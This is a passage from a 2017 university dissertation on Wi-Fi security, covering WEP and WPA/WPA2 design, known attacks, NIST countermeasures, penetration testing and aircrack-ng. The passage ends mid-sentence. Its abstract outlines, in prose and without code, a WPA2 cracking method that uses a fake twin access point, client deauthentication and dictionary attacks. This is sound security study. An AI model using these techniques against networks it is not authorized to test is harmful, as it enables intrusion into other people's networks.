You are on page 1of 85

“LUCIAN BLAGA” UNIVERSITY OF SIBIU

ENGINEERING FACULTY
DEPARTMENT OF COMPUTER SCIENCE, ELECTRICAL
AND ELECTRONICS ENGINEERING

DISSERTATION
COORDINATOR: Prof. Dr. Ing. Daniel VOLOVICI

GRADUATE:
Alin DINESCU
Advanced Computing Systems

- Sibiu, 2017 -
“LUCIAN BLAGA” UNIVERSITY OF SIBIU
ENGINEERING FACULTY
DEPARTMENT OF COMPUTER SCIENCE, ELECTRICAL
AND ELECTRONICS ENGINEERING

Analysis of Wi-Fi network


security

COORDINATOR: Prof. Dr. Ing. Daniel VOLOVICI

GRADUATE:
Alin DINESCU
Advanced Computing Systems
Table of contents
1. Introduction .................................................................................................................... 7
1.1. Motivation ............................................................................................................... 7
1.1.1. Methodology .................................................................................................... 7
1.1.2. Objectives ........................................................................................................ 8
2. State of the art ................................................................................................................. 9
2.1. Introduction - Wireless networks ............................................................................ 9
2.2. WEP security ......................................................................................................... 12
2.3. WPA/WPA2 security ............................................................................................ 16
2.3.1. Temporal Key Integrity Protocol ................................................................... 16
2.3.2. 802.1x Authentication Framework ................................................................ 18
2.3.3. IEEE 802.11i and WPA2 ............................................................................... 18
2.3.4. WLAN Security Measures ............................................................................. 19
2.4. Penetration testing ................................................................................................. 22
2.4.1. Promiscuous mode ......................................................................................... 23
2.4.2. Aircrack-ng .................................................................................................... 25
2.4.3. Reaver ............................................................................................................ 29
2.4.4. Kismet ............................................................................................................ 29
2.4.5. Cain & Able ................................................................................................... 30
3. Study and implementation ............................................................................................ 32
3.1. Introduction ........................................................................................................... 32
3.2. General aspects...................................................................................................... 32
3.2.1. Open Systems Interconnection Reference Model .......................................... 32
3.2.2. How to find a wireless network ..................................................................... 34
3.2.3. Connecting to a wireless network .................................................................. 35
3.3. Basic sniffing and cracking ................................................................................... 36
3.3.1. Simple cracking of WPA/WPA2 ................................................................... 39
3.3.2. 4-Way Handshake .......................................................................................... 43
3.4. Another implementation to crack WPA/WPA2-PSK ........................................... 45
3.4.1. Capturing packets of data .............................................................................. 47
3.4.2. Reading the captured packets ........................................................................ 48
3.4.3. Generating efficient dictionaries .................................................................... 60
3.5. Python program usage ........................................................................................... 66

3
3.5.1. pcapParser.py ................................................................................................. 67
3.5.2. cracker.py ....................................................................................................... 67
3.5.3. halfHandshake.py .......................................................................................... 68
4. Obtained results ............................................................................................................ 70
5. Conclusions .................................................................................................................. 71
6. References .................................................................................................................... 72
7. Annex 1. Aircrack-ng running options [11] ................................................................. 74
8. Annex 2. Source code – pcapParser.py ........................................................................ 77
9. Annex 3. Source code – cracker.py .............................................................................. 81
10. Annex 4. Source code – halfHandshake.py .................................................................. 83

4
Abstract

Wireless networks are convenient and popular, but, without security, they are easy
to crack, jeopardizing the data. Network security is often ignored or not taken seriously
when creating a wireless network. Many people buy the necessary network equipment,
plug it in, flip the power switch and that’s all – free wireless connection for neighbours. All
that is required to connect to an unprotected wireless network is to get into the coverage
area and start the computer. This can be done by a passer-by with a laptop or perhaps by a
neighbour who is constantly within range of the wireless network.
Wireless G, speed boosters, WEP, WPA, encryption and MAC addresses – those
are terms that very few people understand. That is one of the reasons why such a large
percentage of networks still do not have any form of security.
Both security and wireless communication will remain an interesting topic for
many years to come. The nature of wireless networks makes it so easy to compromise
them. That’s why wireless network security is so important when you want to prevent
other users from accessing your network.
All these being told, the main objective of this diploma work is to describe the
methodology used to surpass the security of wireless networks. Being aware of how
wireless networks can be cracked brings in front the need to increase the level of attention
when configuring such a network.
There are two main parts: first part contains the most important theoretical aspects,
while the second one comes with concrete examples in order to highlight the risks to which
the wireless networks are exposed if not configured properly.
In the first chapter are reviewed the main aspects of the subject matter from the
theoretical point of view. It starts with a brief description of the wireless networks –
advantages and disadvantages. Next, the algorithms used to secure them are presented. In
the final part is shown a review of the most popular tools used to crack wireless networks.
The second chapter’s main purpose is to highlight the vulnerability of wireless
networks, as well as how easy it is to crack them using the adequate tool. First part is
dedicated to the aircrack tool; there are presented the steps which must be executed in
order to gain access to the targeted network. In the second part, an algorithm with the same
purpose is described. The implementation was done in Python programming language. The
application needs a capture file (containing packets captured from the targeted network)

5
and a dictionary of words. So, there are exposed two very important aspects of
WPA/WPA2-PSK password cracking:
• First of them refers to the interpretation of the captured packets; Wireshark
tool is used for exemplification. In order to see if the capture was
successful, it is enough to check the last few packets. If they are data
packets, a successful capture was done, but if the last one is a
Deauthentication Packet, then the capture was unsuccessful.
Being able to read a capture file is an important skill because it allows
troubleshooting a connection with problems. By understanding the capture,
it can then be compared to a live capture (thus, finding out what is going
wrong).
• The second one brings in front the need to have efficient dictionaries; here,
a set of wordlists (available online) have been used in order to highlight a
simple fact: having gigabytes worth of wordlists may be good; but having a
personalised/specific/targeted wordlist is great.
In the final part, some details about implementation of the application are
introduced. The basic idea behind this Python tool is quite simple: sometimes it may not be
possible to reach to the access point because it is outside the range; so, the following
approach has been drawn: having set a target network, the attacker will create a “twin” of
the access point (the same SSID). Afterwards, the client will be deauthenticated. Of course,
it will try to reauthenticate, but the request will be sent to the “fake” access point. Although
the authentication will fail, the captured packets from the client will be all it needs to get
the four-way handshake.
The project developed by the author of this thesis is available for download and
further references at https://github.com/alin-dinescu/WPA2-HalfHandshake-Crack.

6
1. Introduction
Cracking a computer network has been the subject of many Hollywood movies, but
the truth is that the majority of wireless routers do not enable wireless protection by
default. Thus, “hacking” an unsecured wireless network is as simple as viewing a list of
available wireless networks in Windows and double-clicking on any unprotected network.
Not only does this make stealing bandwidth trivial, but by enabling file sharing, personal
photos, emails and financial records could be freely accessible to everyone with a laptop
within the network area.
The good news is that protecting your wireless network is not difficult; there are a
number of well supported standards that allow you to limit access to your wireless
network. However, there are some bad news too; even with some security measures
implemented, by using the adequate tools, one may circumvent them and get access to your
wireless network in the end.

1.1. Motivation

The main purpose of this work is to present the methods used to attack wireless
networks and – with that knowledge – to secure them.

1.1.1. Methodology
In order to obtain a better organisation of the diploma project, it was divided in two
main parts:
• In the first part, there are presented the basic notions about wireless
networks and the other elements included by the chosen theme: security of
wireless networks, description of the used algorithms, methods used to
crack them;
• The second part contains a description of the methodology used to crack
WPA/WPA2 wireless networks (using aircrack suite of applications), as
well as the implementation of an algorithm which, basically, reproduces the
functionality of aircrack-ng tool.

7
1.1.2. Objectives
The main purpose of this work is to highlight the vulnerabilities which exist in
wireless networks security. In order to do that, I came up with the idea to implement a
version of a well-known tool used to crack wireless networks – aircrack-ng.
Basically, in order to crack WPA/WPA2-PSK passwords two things are needed:
• A successful capture (.cap file with the packets captured while monitoring
the targeted network)
• An efficient dictionary
So, as secondary objectives of this diploma work, I will explain what it means to
have a successful capture and how the chances of cracking the passwords increase
significantly with a good dictionary as input.

8
2. State of the art
In this chapter are exposed the main aspects of the subject matter from the
theoretical point of view. It starts with a brief description of the wireless networks –
advantages and disadvantages. Next, the algorithms used to secure them are presented.
In the final part is shown a review of the most popular tools used to crack wireless
networks.

2.1. Introduction - Wireless networks

As it appears in [5] and [6], a wireless local-area network (LAN), by using radio
waves, connects devices such as laptops to the Internet and also to your business network
and its applications. When a laptop is connected to a Wi-Fi hotspot at a hotel, airport
lounge, cafe or other public place, it is connected to the wireless network of that business.

Figure 1. Wireless icon

Many benefits can be experienced from a wireless network, especially for small
business:
• Convenience. The network resources can be accessed from any location
within the wireless network’s coverage are or from any Wi-Fi hotspot.
• Mobility. As opposed to a wired connection, you’re no longer tied to your
desk. An important advantage is the possibility to go online in conference
room meetings.
• Productivity. Wireless access to the Internet, as well as to key applications
and resources of a company, helps the employees to do the work and
encourages cooperation.

9
• Easy setup. The installation can be quick and cost-effective because you
don’t have to string cables.
• Expandable. Wireless networks can be easily expanded using existing
equipment (a wired network might require additional wiring).
• Security. Achievements in wireless networks provide reliable protection.
• Cost. Wireless networks can cost less to operate than wired networks
because they eliminate or reduce wiring costs.
However, there are some difficulties too:
• Interferences. Compared to wired systems, wireless networks are often
subject to electromagnetic interference. This can be caused by other
networks or other types of equipment that generate radio waves that are
within or close to the radio bands used for communication. Interference can
cause the system to malfunction by degrading the signal.
• Absorption and reflection. Some materials cause absorption of
electromagnetic waves, preventing it from reaching the receiver. In other
cases, reflection occurs, particularly with metallic or conductive materials.
This situation can cause so called dead zones, where no reception is
available. In modern homes, aluminium foiled thermal isolation can easily
reduce indoor mobile signals by 10 dB; this frequently leads to complaints
about the bad reception of long-distance rural cell signals.
• Multipath fading. Two or more routes taken by the signal can cause the
signal to cancel out at certain locations and to be stronger in other places
due to reflections.
• Hidden node problem. This problem occurs in some types of network when
a node is visible from a wireless access point (AP), but not from other nodes
which communicate with that AP. This situation leads to difficulties in
media access control.
• Shared resource problem. The wireless spectrum represents a limited
resource, being shared by all nodes in the range of its transmitters.
Bandwidth allocation becomes complex with multiple participating users.
The users are often not aware that advertised numbers (e.g. for IEEE 802.11
equipment or LTE networks) are not their capacity, but sharing with all
other users, the individual user rate is far lower. The capacity crunch is

10
more and more likely to happen with the increasing demand. User-in-the-
loop (UIL) may be an alternative solution to ever upgrading to newer
technologies for over-provisioning.
Wi-Fi is designed for use in the unlicensed spectrum. This allows users to access
the radio spectrum without the need for rules and restrictions that can be applied
elsewhere. The disadvantage is that this spectrum is also shared by many other users and,
as a result, the system must be resilient to interference.
There are unlicensed spectral bands in various areas of the radio-frequency
spectrum, often called the ISM bands – Industrial, Scientific and Medical. They carry
everything from microwave ovens to radio communications. Many of these bands are
global allocations (including the two used for Wi-Fi), although local restrictions may be
applied to some aspects of their use.
The main bands used for carrying Wi-Fi are those in the next table:

Table 1. Wi-Fi main bands [5]


LOWER UPPER COMMENTS
FREQUENCY FREQUENCY

MHZ MHZ

2400 2500 Often referred to as the 2.4 GHz band, this spectrum is the
most widely used of the bands available for Wi-Fi. Used by
802.11b, g, & n. It can carry a maximum of three non-
overlapping channels.

5725 5875 This 5 GHz band or 5.8 GHz band provides additional
bandwidth, and being at a higher frequency, equipment costs
are slightly higher, although usage, and hence interference is
less. It can be used by 802.11a & n. It can carry up to 23 non-
overlapping channels, but gives a shorter range than 2.4 GHz.

There are several different 802.11 variants in use. Different 802.11 variants use
different bands. A summary of the bands used by the 802.11 systems is given below:

Table 2. Bands used by the 802.11 systems [5]


IEEE 802.11 FREQUENCY BANDS USED

VARIANT

802.11a 5 GHz

11
802.11b 2.4 GHz

802.11g 2.4 GHz

802.11n 2.4 GHz & 5 GHz

802.11ac Below 6 GHz

802.11ad Up to 60 GHz

802.11af TV white space (below 1 GHz)

802.11ah 700 MHz, 860MHz, 902 MHz


ISM bands dependent upon
country and allocations

2.2. WEP security

Wired Equivalent Privacy is a security algorithm used to protect IEEE 802.11


wireless networks, as it appears in [2]. It was introduced as part of the original 802.11
standard and approved in 1997. Its purpose was to ensure data confidentiality comparable
to that of traditional wired networks. WEP recognizable by its key of 10 or 26 hexadecimal
digits (40 or 104 bits), was once widely used and was often the first choice of security
provided to users with the help of router configuration tools.

Figure 2. Basic WEP encryption: RC4 key stream XORed with plaintext [5]

WEP uses the stream cipher RC4 for confidentiality and the CRC-32 checksum for
integrity. It was deprecated in 2004 and is documented in the current standard.
As it is stated in [9], standard 64-bit WEP uses a 40 bit key (also known as WEP-
40) which is concatenated with a 24-bit initialization vector (IV) to form the RC4 key.
When the original WEP standard was drafted, the US Government’s export restrictions on
cryptographic technology limited the key size. Once the restrictions were lifted,

12
manufacturers of access points implemented an extended 28-bit WEP protocol using a 104-
bit key size (WEP-104).
The following paragraphs are presenting the formulas for computing the WEP keys
(64-bit, 128-bit, 152-bit), as an excerpt from [2] and [7]. A 64-bit WEP key is usually
entered as a string of 10 hexadecimal characters. Each character represents 4 bits. 10 digits
of 4 bits each gives 40 bits; adding the 24-bit IV produces the complete 64-bit WEP key (4
bits × 10 + 24 bits IV = 64 bits of WEP key). Most devices also allow the user to enter the
key as 5 ASCII characters, each of which is turned into 8 bits using the character’s byte
value in ASCII (8 bits × 5 + 24 bits IV = 64 bits of WEP key); however, this restricts each
byte to be a printable ASCII character, which is only a small fraction of possible byte
values, greatly reducing the space of possible keys.
A 128-bit WEP key is usually entered as a string of 26 hexadecimal characters. 26
digits of 4 bits each gives 104 bits; adding the 24-bit IV produces the complete 128-bit
WEP key (4 bits × 26 + 24 bits IV = 128 bits of WEP key). Most devices also allow the
user to enter it as 13 ASCII characters (8 bits × 13 + 24 bits IV = 128 bits of WEP key).
A 152-bit system and a 256-bit WEP system are available from some vendors. As
with the other WEP variants, 24 bits of that is for the IV, leaving 128 or 232 bits for actual
protection. These 128 or 232 bits are typically entered as 32 or 58 hexadecimal characters
(4 bits × 32 + 24 bits IV = 152 bits of WEP key, 4 bits × 58 + 24 bits IV = 256 bits of WEP
key). Most devices also allow the user to enter it as 16 or 29 ASCII characters (8 bits × 16
+ 24 bits IV = 152 bits of WEP key, 8 bits × 29 + 24 bits IV = 256 bits of WEP key).
Two methods of authentication can be used with WEP: Open System authentication
and Shared Key authentication.
When authenticating in the Open System, the WLAN client does not need to
provide its credentials to the access point during authentication. Any client can
authenticate using the access point and then try to establish a connection. In fact,
authentication does not occur. Subsequently, WEP keys can be used to encrypt data
frames. At this stage, the client must have the correct keys.
In Shared Key authentication, the WEP key is used for authentication in a four-step
challenge-response handshake:
• The client sends an authentication request to the Access Point.
• The Access Point replies with a clear-text challenge.

13
• The client encrypts the challenge-text using the configured WEP key and
sends it back in another authentication request.
• The Access Point decrypts the response. If this matches the challenge text,
the Access Point sends back a positive reply.
After the authentication and association, the pre-shared WEP key is also used for
encrypting the data frames using RC4.
At first glance, it might seem that authentication using Shared Key is more secure
than Open System authentication, since the latter does not offer genuine authentication.
However, this is quite the reverse. You can get the key stream used for the handshake by
capturing request frames in public key authentication. Thus, the data can be more easily
intercepted and decrypted using Shared Key authentication than with Open System
authentication. If confidentiality is a priority, it is more appropriate to use Open System
authentication for WEP authentication, rather than authenticating with a public key;
however, this also means that any WLAN client can connect to the AP. (Both
authentication mechanisms are weak and the WEP key is outdated in favour of
WPA/WPA2.)
Because RC4 is a stream cipher, the same traffic key should never be used twice.
The goal of IV, which is passed as plain text, is to prevent any repetition, but a 24-bit IV is
not long enough to provide this in a busy network. The way the IV was used also opened
WEP to a related key attack. For a 24-bit IV, there is a 50% chance the same IV will be
repeated after 5000 packets.
In August 2001, Scot Fluhrer, Itsik Mantin and Adi Shamir published a
cryptanalysis of WEP that exploits the way the RC4 ciphers and IV are used in WEP,
leading to a passive attack that can restore the RC4 key after interception on the network.
Depending on the amount of network traffic and, consequently, the number of available
packages for verification, successful key recovery can take only one minute. If there are
not enough packages sent, there are ways for an attacker to send packets over the network
and thereby stimulate response packets that can then be scanned in order to find the key.
The attack was soon implemented and since then automated tools have been released. An
attack can be performed using a personal computer, proper equipment and freely available
software, such as aircrack-ng, to crack any WEP key in a few minutes.
Cam-Winget et al. considered a number of shortcomings in WEP. They wrote:
“Experiments in the field show that, with proper equipment, it is practical to eavesdrop on

14
WEP-protected networks from distances of a mile or more from the target.” They also
reported two common weaknesses:
• The use of WEP was optional and, as a result, many installations did not
even activate it;
• By default, WEP relies on one common key among users, which leads to
practical problems in handling compromises (and even ignoring them).
In 2005, a group from the U.S. Federal Bureau of Investigation held a
demonstration during which they cracked a WEP-protected network in 3 minutes with
publicly available tools. Andreas Klein introduced yet another analysis of the RC4
streaming encryption. Klein demonstrated that there are more correlations between the
RC4 key stream and the key than those found by Fluhrer, Mantin and Shamir; these can be
used to break WEP in WEP-like usage modes.
In 2006, Bittau, Handley and Lucky showed that the 802.11 protocol itself could be
used against WEP to allow earlier attacks that were supposedly impractical. After
intercepting one single packet, an attacker can quickly bootstrap to be able to transfer
arbitrary data. The eavesdropping packet can then be decrypted by one byte at a time (by
transferring approximately 128 packets per byte to decrypt) to discover the IP header on
them. The access point can then be used to decrypt these packets and send them to a buddy
on the Internet, which allows real-time decryption of WEP traffic within a minute after the
interception of the packet.
In 2007, Eric Thuse, Andrei Pychkin and Ralph-Philippe Weinmann were able to
expand Klein’s attack in 2005 and optimize it for use against WEP. With this new attack, a
104-bit WEP key can be restored with a 50% probability using only 40,000 captured
packets. For 60,000 available f = data packets, the probability of success is about 80% and
for 85,000 data packets – about 95%. Using active methods, such as deauth and re-
injection of ARP, 40,000 packets can be captured in less than a minute under good
circumstances. The actual calculation takes approximately 3 seconds and 3 MB of main
memory on a 1.7 GHz Pentium-M and can be further optimized for devices with slower
processors. The same attack can be used for 40-bit keys with even greater probability of
success.
In 2008, the latest update to the Data Security Standard (DSS), operated by
Payment Card Industry (PCI) Security Standards Council, prohibits the use of WEP in
credit card processing after June 2010 and the installation of a new system that uses WEP

15
after 31 March 2009. The use of WEP contributed to the T.J. Maxx parent company
network invasion.

2.3. WPA/WPA2 security

As it is presented in [4] and [3], Wi-Fi Protected Access (WPA) and Wi-Fi
Protected Access II (WPA2) are two security protocols and security certification programs
developed by the Wi-Fi Alliance to protect wireless computer networks. The Alliance
identified them in response to serious shortcomings discovered by researchers in the
previous system – Wired Equivalent Privacy (WEP).
WPA (sometimes called the draft standard of IEEE 802.11i) became available in
2003. The Wi-Fi Alliance has designed it as an intermediate measure in anticipation of the
availability of a more secure and complex WPA2. WPA2 is a common reduction for the
full IEEE 802.11i standard (or IEEE 802.11i-2004).

2.3.1. Temporal Key Integrity Protocol


As it is described in [3], WPA uses the temporal key integrity protocol (TKIP for
key management and offers two alternatives: either the 802.1x authentication framework
together with extensible authentication protocol (EAP) for corporate WLAN networks
(Enterprise mode), or simpler pre-shared key (PSK) authentication for a home or office
network that does not have an authentication server (Personal mode).
These measures, which were originally available as firmware updates for Wi-Fi
compatible devices, first appeared on the market in early 2003. In 2004, a further
encryption was introduced in the second generation (WPA2). This replaced the RC4 still
used in WPA with the advanced encryption standard (AES), which was ratified as part of
the 802.11i standard in June 2004.
The vulnerability of WEP encryption was eliminated in WPA by two new MAC
(media access control) level functions: the creation of a key and the management protocol
called TKIP (temporal key integrity protocol) and a message integrity check (MIC)
function. The features of key management for WEP and WPA are compared in Table 3.

Table 3. WEP and WPA key management and encryption compared [5]
Security feature WEP TKIP

Temporal key/Passphrase 40-bit, 104-bit 128-bit

Initialization vector (IV) 24-bit 48-bit

16
Keys Static Dynamic

Encryption cipher RC4 RC4

After authenticating the station for a session, a 128-bit temporary key is created
either by using an authentication server or by using manual input. TKIP is used to
distribute the key to the station and the access point and to manage the keys for the session.
TKIP combines the temporary key with the MAC address of each station, plus the TKIP
sequence counter, and adds a 48-bit initialization vector to create start-up keys for data
encryption.
With this approach, in order to encrypt the transmitted data, each station will use
different keys. TKIP then manages the updating and propagation of these encryption keys
for all stations after the expired custom key lifetime, which can be from one packet to once
every 10,000 packets, depending on the security requirements. Although the same RC4
cipher is used to generate the encryption key stream, the TKIP method for key mixing and
distribution significantly improves WLAN security by replacing one static key used in
WEP with a dynamically changing selection of 280 trillion possible keys.
WPA supplements TKIP with a message integrity checking (MIC) which
determines whether an attacker has captured, modified and re-transmitted data packets.
Integrity is checked by the transmitting and receiving stations calculating the mathematical
function for each data packet.
Although the simple CRC-32 used to calculate ICV in WEP is sufficient to detect
errors during transmission, it is not strong enough to guarantee the integrity of the message
and prevent attacks based on the forgery of packets. This is because it is relatively easy to
modify the message and recalculate the ICV to hide the changes. In contrast, MIC is a
strong cryptographic hash function that is computed using the source and destination MAC
addresses, the input data stream, the MIC key and the TKIP sequence counter (TSC).
If the value of the MIC computed by the receiving station does not correspond to
the MIC value received in the decrypted data packet, the packet is discarded and
countermeasures are involved. These countermeasures consist of resetting keys, increasing
the update rate of keys and sending a warning to the network administrator. The MIC also
includes an optional countermeasure that will deactivate all stations and turn off the BSS
for any new association for one minute if the access point receives a sequence of modified
packets in quick succession.

17
Figure 3. TKIP key mixing and encryption process [5]

2.3.2. 802.1x Authentication Framework


As it appears in [10], IEEE 802.1x is an access control protocol that protects
networks by authenticating users. After successful authentication, the virtual port opens at
the access point to access the network, while the connection is blocked if the authentication
fails. 802.1x authentications define three elements:
• The Supplicant – software running on a station that requires authentication;
• The Authenticator – a wireless access point requesting authentication on
behalf of the requester;
• The Authentication Server – the server, a protocol of operation and
authentication, such as RADIUS or Kerberos, which provides centralized
authentication and access control using an authentication database.
The standard specifies how the extensible authentication protocol (EAP) is used by
the Data Link layer to transmit authentication information between the requesting and the
authentication server. The actual authentication process is determined and processed
depending on the particular EAP type being used and the access point acting as an
authenticator is simply an intermediary, allowing the requestor and the authentication
server to exchange data.

2.3.3. IEEE 802.11i and WPA2


In [10] is said that the IEEE 802.11i standard defines security enhancements for
802.11 wireless networks, providing more robust encryption, authentication and key

18
management strategies to create a reliable security network (RSN). The key features of
RSN are:
• A negotiation process that allows the selection of the appropriate privacy
protocol for each type of traffic that must be selected during the device
association;
• A key system that generates and manages two key hierarchies. Parallel keys
for unicast and group keys for multicast messages are installed and
authenticated using EAP handshakes during device association and
authentication;
• Two protocols in order to improve data confidentiality (TKIP and AES-
CCMP).
The key-catching and pre-authentication are also included in the 802.11i standard
and replaced with WPA after the 802.11i ratification in June 2004. WPA2 implements the
advanced encryption standard (AES), an encryption algorithm using the counter mode with
cipher block chaining message authentication code protocol (CCMP). TKIP and 802.11
authentications were included in an earlier version of WPA.
WPA and WPA2 both support Enterprise and Personal modes, and a comparison of
the main elements is shown in the table below.

Table 4. WPA and WPA2 compared [5]


Enterprise mode Personal mode

WPA Authentication: IEEE 802.1x/EAP Authentication: PSK

Encryption: TKIP Encryption: TKIP

Integrity: MIC Integrity: MIC

WPA2 Authentication: IEEE 802.1x/EAP Authentication: PSK

Encryption: AES-counter mode Encryption: AES-counter mode

Integrity: CBC-MAC (CCMP) Integrity: CBC-MAC (CCMP)

2.3.4. WLAN Security Measures


To ensure the recognition of all security vulnerabilities, each WLAN
implementation must consider thee aspects: management, technical and operational. A
checklist containing the best measures in these three areas was published by the U.S.
National Institute of Science and Technology.

19
2.3.4.1. Management Security Measures

When designing and implementing a WLAN there are certain issues that need to be
considered. The management security measures referring to these issues which are
recommended in the NIST checklist will be detailed in the following table.

Table 5. WLAN Management Security Measures [5]


Management security measure Description

Develop a security policy for the The security policy provides the foundation
organization that addresses the use for a secure WLAN and should specify the
of wireless technology organization’s requirements including access
control, password usage, encryption, control
of equipment installation and administration.

Perform a risk assessment to Understanding the value and the potential


understand the value of assets in the consequences of unauthorized access to the
organization that need protection organization’s assets will provide the basis
for establishing the required level of
security.

Take a complete inventory of all A physical inventory of installed devices


access points and wireless devices should be cross-checked with WLAN logs as
well as periodic RF sweeps for unknown
devices (rogue access points).

Locate access points on the interior Internal location will limit the leakage of RF
of buildings instead of near external transmissions beyond the required operating
walls and windows area and eliminate areas where
eavesdropping could take place.

Place access points in secured areas Physical security will prevent unauthorized
access and manipulation of hardware.

2.3.4.2. Technical Security Measures

In the next table will be described some of the key technical security measures
recommended in the NIST checklist.

Table 6. WLAN Technical Security Measures [5]


Technical security measure Description

Change the default SSID and disable SSID Prevents casual access to the WLAN and
broadcast requires a client station to match the SSID
when attempting to associate.

20
Disable all nonessential management Each management protocol provides a
protocols on access points possible route of attack, so disabling unused
protocols minimizes the potential routes that
an attacker could use.

Ensure that default shared keys are replaced Manual key management will be necessary
by keys of at least 128-bits and periodically unless TKIP is installed. Best practice is to
change keys use the longest supported key length.

Deploy MAC access control lists Access control based on MAC filtering
provides additional security, although it is
not secure against a technically determined
attacker.

Enable user authentication and strong Management control functions on access


administrative passwords for access point points need to be protected as well as, if not
management interfaces better than, the network traffic. The security
policy should specify the requirement for
user authentication and strong passwords.

2.3.4.3. Operational Security Measures

The most important operational security measures are summarized in the table
below.

Table 7. WLAN Operational Security Measures [5]


Operational security measure Description

Use an encrypted protocol, such as SNMP v3 provides encryption of


SNMP v3, for access point configuration access point management messages,
whereas SNMP v1 and v2 did not
provide the same level of security.

Consider other forms of user If a risk assessment identifies


authentication for the wireless network unauthorized access as a key risk,
such as RADIUS and Kerberos authentication services or protocols,
such as RADIUS and Kerberos, can
provide a high degree of access
security to protect confidential data.

Deploy intruder detection on the WLAN Rogue access point or other


to detect unauthorized access or activity unauthorized activity can be detected
by intrusion detection software. This is
a standard feature of wireless switches.

When hardware is upgraded ensure that I access points are left with their secure

21
configuration settings are reset prior to configuration settings when they are
disposal of old equipment disposed of, this sensitive information
could be used to attack the network.

Enable and regularly review access point Access point logs provide a basis for
logs periodic auditing of network traffic –
both authorized and unauthorized.
Many intrusion detection tools can be
configured to effectively perform this
task automatically.

2.4. Penetration testing

In [15] is said that penetration testing, commonly referred to as pen-testing, is now


in the testing circle. The reason is not so hard to guess – with the change in how computer
systems are used and built, security is central. Despite the fact that companies understand
that they cannot ensure the safety of each system by 100%, they are extremely interested in
knowing exactly what security problems they are dealing with. This is where the manual
testing takes place using ethical methods of hacking.
What is Penetration testing?
It’s the process of identifying security vulnerabilities in an application by
evaluating a system or network using various malicious methods. The purpose of this test
is to protect important data from outsiders, such as hackers, who may have unauthorized
access to the system. Once the vulnerability is identified, it is used to exploit the system in
order to gain access to confidential information.
The main causes of vulnerabilities are:
• Design and development errors;
• Poor system configurations;
• Human errors.
Why Penetration testing?
• Financial data must be secured while transferring between different
systems;
• Many clients are asking for pen-testing as part of the software release cycle;
• In order to secure user data;
• To find security vulnerabilities in an application.
It is very important for any organization to identify security issues on the internal
network and computers. Using this information, the organization can plan protection

22
against any attempted hacking. Privacy of users and data security are the biggest problems
at the moment. Imagine that any hacker can get information about a user on a social
network, such as Facebook. The organization may face legal problems due to a small
loophole left in the software system. Therefore, large organizations are looking for PCI
compliance certificates before engaging in any activity with third-party clients.
What should be tested?
• Software
• Hardware
• Network
• Process
There are three Penetration testing types:
1) Social Engineering: Human errors are the main reason for the vulnerability
of the security system. All employees must comply with safety standards
and policies in order to avoid attempts to penetrate into social engineering.
An example of these standards includes not mentioning any confidential
information in e-mail or phone communication. A security audit can be
conducted to identify and address the shortcomings of the process.
2) Application Security Testing: Detect if the system is exposed to security
vulnerabilities by using software methods.
3) Physical Penetration Test: In order to protect sensitive data, powerful
physical protection methods are used. This is usually useful in military and
government offices. All physical network devices and access points are
tested for possible security violations.
Pen-testing techniques:
• Manual penetration test
• Using automated penetration test tools
• Combination of both manual and automated processes; this is more
common to identify all kinds of vulnerabilities.

2.4.1. Promiscuous mode


As it is explained in [12], in computer networking promiscuous mode (often
shortened to “promisc mode” or “promisc. mode”) is a mode for a wired network interface
controller (NIC) or wireless network interface controller (WNIC) that causes the controller
to skip all traffic it receives to the CPU rather than passing only the data that the controller

23
is intended to receive. This mode is usually used for packet sniffing that occur on a router
or on a computer connected to a hub (instead of a switch) or one being part of a WLAN.
Interfaces are placed into promiscuous mode using software bridges, often used with
hardware virtualization.
In IEEE 802 networks, such as Ethernet, Token Ring and IEEE 802.11, as well as
in FDDI, each frame includes a media access control (MAC) destination address. In non-
promiscuous mode, when the NIC receives a frame, it usually discards it, unless the frame
is addressed to the MAC address of that network adapter or is a broadcast or multicast
frame. However, in promiscuous mode, the NIC skips all frames, thereby allowing the
computer to read frames for other machines or network devices.
Many operating systems require super user privileges to enable promiscuous mode.
A node without routing in promiscuous mode can generally monitor only traffic to and
from other nodes within the same broadcast domain (for Ethernet and IEEE 802.11) or
rings (for Token Ring or FDDI). Computers connected to the same network hub meet this
requirement, so network switches are used to combat the malicious use of promiscuous
mode. A router can monitor all traffic that it routes.
Promiscuous mode is often used to diagnose problems with a network connection.
There are programs that use this function to show the user all the data transmitted over the
network. Some protocols, such as FTP and Telnet, can send data and passwords in clear
text, without encryption, and network scanners can scan this data. Therefore, computer
users are advised to avoid unsafe protocols, such as Telnet, and use more secure ones, such
as SSH.
Since the promiscuous mode can be used maliciously for sniffing on the network, it
may be interesting to detect network devices that are in promiscuous mode. In this mode,
some programs can send responses to frames, even if they are addressed to another
computer. However, experienced sniffers can prevent this (for example, using carefully
designed firewall settings).
An example is sending an echo request (an ICMP echo request) with the wrong
MAC address, but with the correct IP address. If the adapter is running in normal mode, it
will lose this frame and the IP stack will never see or respond to it. If the adapter is in
promiscuous mode, the frame will be transmitted and the IP stack on the machine (to
which a MAC address does not make sense) will respond just like any other ping. Sniffer
can prevent this by configuring its firewall to block ICMP traffic.

24
2.4.2. Aircrack-ng
In [11] and [1] is said that aircrack is the most popular and widely-known tool for
cracking wireless passwords. It is used as a tool for cracking 802.11 WEP and WPA-PSK
keys around the world. First, it grabs network packets and then tries to recover the network
password by analysing the packets. It also implements standard FMS attacks with some
optimizations for restoring or hacking network passwords. As it appears in [8],
optimizations include KoreK attacks (an anonymous participant of the security forums)
and PTW attack (Pyshkin, Tewes, Weinmann) to make the attack much faster than other
WEP password cracking tools. This tool is powerful and widely used all over the world.

2.4.2.1. Description

Aircrack focuses on different areas of Wi-Fi security:


• Monitoring: Packet capture and export of data to text files for further
processing by third party tools;
• Attacking: Replay attacks, deauthentication, fake access points and others
via packet injection;
• Testing: Checking Wi-Fi cards and driver capabilities (capture and
injection);
• Cracking: WEP and WPA PSK (WPA 1 and 2).
Aircrack-ng can recover the WEP key as soon as enough encrypted packets have
been captured using airodump-ng. This part of aircrack-ng defines the WEP key using two
main methods. The first method is the PTW approach. The default hacking method is
PTW. This is done in two stages. At the first stage, aircrack-ng uses only ARP packets. If
the key is not found, it uses all the captured packets. There must be mentioned that not all
packages can be used for the PTW method. An important limitation is that the PTW attack
currently can only crack 40 and 104 bit WEP keys. The main advantage of the PTW
approach is that very few data packets are required to crack the WEP key. The second
method is the FMS/Korek approach, which includes various statistical attacks to detect the
WEP key and uses them in combination with brute forcing.
In addition, the program offers a dictionary method in order to determine the WEP
key.
To crack WPA/WPA2 pre-shared keys, only a dictionary method is used. SSE2
support (Streaming SIMD Extensions 2 – one of the Intel SIMD – Single Instruction,

25
